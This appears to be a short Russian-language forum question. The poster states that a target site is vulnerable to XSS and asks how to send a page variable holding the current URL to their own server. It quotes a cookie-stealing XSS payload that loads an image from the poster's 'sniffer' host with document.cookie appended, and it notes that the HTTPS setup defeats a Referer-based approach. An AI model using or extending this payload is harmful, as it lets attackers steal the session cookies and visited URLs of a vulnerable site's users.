Есть уязвимый к XSS сайт.
Как сделать так, чтоб я узнал переменную needed?
var needed=window.location.href;
Я так понял, нужно как-то отправить её на мой сервер? Только как это сделать?
P.S. Возможно у вас будет вопрос, зачем мне такое делать, если можно сделать так:
img = new Image(); img.src = "http://мойхост.com/sniffer/img.gif?"+document.cookie;
и узнать HTTP Referrer. Но сайт на HTTPS и я не узнаю HTTP Referrer.